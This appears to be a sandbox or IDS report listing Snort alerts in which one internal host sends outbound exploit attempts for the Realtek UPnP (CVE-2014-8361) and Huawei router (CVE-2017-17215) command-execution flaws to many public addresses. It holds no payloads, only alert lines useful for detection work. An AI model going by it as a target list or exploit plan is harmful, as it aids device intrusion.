Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:48354 -> 5.217.173.216:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:48354 -> 5.217.173.216:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:33754 -> 130.69.123.40:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:33754 -> 130.69.123.40:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:33816 -> 101.191.129.126:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:33816 -> 101.191.129.126:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:59540 -> 128.98.160.122:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:59540 -> 128.98.160.122:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:47482 -> 118.44.218.190:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:47482 -> 118.44.218.190:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:46444 -> 8.55.90.119:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:46444 -> 8.55.90.119:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:35304 -> 162.57.74.72:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:35304 -> 162.57.74.72:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:43066 -> 180.39.180.182:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:43066 -> 180.39.180.182:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:53244 -> 65.188.53.189:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:53244 -> 65.188.53.189:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:41312 -> 112.236.210.206:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:41312 -> 112.236.210.206:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:46400 -> 93.255.94.157:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:46400 -> 93.255.94.157:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:52796 -> 138.222.128.120:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:52796 -> 138.222.128.120:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:47368 -> 134.76.14.241:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:47368 -> 134.76.14.241:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:60148 -> 27.79.119.12:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:60148 -> 27.79.119.12:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:47046 -> 190.144.135.107:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:47046 -> 190.144.135.107:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:44220 -> 165.240.21.199:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:44220 -> 165.240.21.199:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:46748 -> 13.188.216.17:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:46748 -> 13.188.216.17:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:55808 -> 79.163.220.136:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:55808 -> 79.163.220.136:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:38858 -> 31.90.157.252:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:38858 -> 31.90.157.252:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:60450 -> 220.158.230.42:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:60450 -> 220.158.230.42:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:54000 -> 54.198.216.131:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:54000 -> 54.198.216.131:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:44526 -> 40.180.122.90:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:44526 -> 40.180.122.90:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:37992 -> 64.213.179.125:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:37992 -> 64.213.179.125:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:43462 -> 99.58.61.9:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:43462 -> 99.58.61.9:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:49814 -> 60.144.29.97:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:49814 -> 60.144.29.97:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:42764 -> 162.138.211.72:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:42764 -> 162.138.211.72:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:50732 -> 206.233.127.191:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:50732 -> 206.233.127.191:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:59306 -> 59.126.120.18:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:59306 -> 59.126.120.18:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:43400 -> 116.111.12.206:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:43400 -> 116.111.12.206:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:38754 -> 156.230.140.45:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:38754 -> 156.230.140.45:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:42766 -> 149.86.2.31:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:42766 -> 149.86.2.31:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:52958 -> 181.146.224.142:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:52958 -> 181.146.224.142:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:57638 -> 124.90.204.138:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:57638 -> 124.90.204.138:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:50454 -> 77.164.7.36:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:50454 -> 77.164.7.36:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:41912 -> 157.159.16.125:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:41912 -> 157.159.16.125:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:45678 -> 141.224.95.108:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:45678 -> 141.224.95.108:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:50862 -> 151.136.169.42:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:50862 -> 151.136.169.42:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:51920 -> 146.126.33.191:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:51920 -> 146.126.33.191:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:57974 -> 99.202.52.30:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:57974 -> 99.202.52.30:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:51692 -> 49.217.12.33:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:51692 -> 49.217.12.33:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:45096 -> 181.129.237.7:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:45096 -> 181.129.237.7:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:36548 -> 72.184.169.139:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:36548 -> 72.184.169.139:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:54232 -> 194.147.115.196:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:54232 -> 194.147.115.196:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:56844 -> 114.173.101.131:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:56844 -> 114.173.101.131:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:36454 -> 182.207.82.188:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:36454 -> 182.207.82.188:52869
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:56030 -> 212.61.76.50:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:56030 -> 212.61.76.50:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:57212 -> 128.197.81.243:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:57212 -> 128.197.81.243:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:56196 -> 197.160.79.126:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:56196 -> 197.160.79.126:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:33168 -> 41.120.237.5:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:33168 -> 41.120.237.5:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:38372 -> 157.150.55.229:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:38372 -> 157.150.55.229:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:47282 -> 175.136.209.167:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:47282 -> 175.136.209.167:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:43336 -> 157.39.247.83:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:43336 -> 157.39.247.83:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:57768 -> 41.203.149.103:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:57768 -> 41.203.149.103:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:49206 -> 41.93.226.90:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:49206 -> 41.93.226.90:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:38882 -> 197.41.90.82:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:38882 -> 197.41.90.82:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:60856 -> 80.185.13.173:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:60856 -> 80.185.13.173:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:35786 -> 41.204.105.129:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:35786 -> 41.204.105.129:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:41780 -> 157.232.183.8:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:41780 -> 157.232.183.8:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:38858 -> 157.73.176.224:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:38858 -> 157.73.176.224:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:51638 -> 41.233.133.241:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:51638 -> 41.233.133.241:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:55814 -> 197.198.173.107:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:55814 -> 197.198.173.107:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:38070 -> 157.69.199.211:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:38070 -> 157.69.199.211:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:45390 -> 157.32.53.131:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:45390 -> 157.32.53.131:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:44408 -> 197.211.156.8:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:44408 -> 197.211.156.8:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:45276 -> 197.65.248.102:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:45276 -> 197.65.248.102:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:49922 -> 197.216.107.62:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:49922 -> 197.216.107.62:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:37374 -> 197.57.156.185:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:37374 -> 197.57.156.185:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:40738 -> 157.139.36.46:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:40738 -> 157.139.36.46:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:39332 -> 96.50.39.180:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:39332 -> 96.50.39.180:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:57382 -> 41.171.220.22:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:57382 -> 41.171.220.22:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:50246 -> 197.138.28.9:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:50246 -> 197.138.28.9:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:51024 -> 197.198.171.240:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:51024 -> 197.198.171.240:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:39734 -> 157.156.34.177:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:39734 -> 157.156.34.177:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:37054 -> 41.32.58.72:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:37054 -> 41.32.58.72:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:51850 -> 65.171.178.93:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:51850 -> 65.171.178.93:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:36412 -> 157.156.72.128:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:36412 -> 157.156.72.128:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:33982 -> 157.155.48.39:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:33982 -> 157.155.48.39:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:54762 -> 41.135.123.11:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:54762 -> 41.135.123.11:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:35360 -> 41.116.147.110:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:35360 -> 41.116.147.110:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:43030 -> 41.177.182.89:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:43030 -> 41.177.182.89:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:49348 -> 212.240.183.0:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:49348 -> 212.240.183.0:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:44782 -> 41.99.96.147:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:44782 -> 41.99.96.147:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:53862 -> 41.127.244.231:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:53862 -> 41.127.244.231:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:49432 -> 157.97.83.71:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:49432 -> 157.97.83.71:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:38902 -> 9.1.245.191:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:38902 -> 9.1.245.191:37215
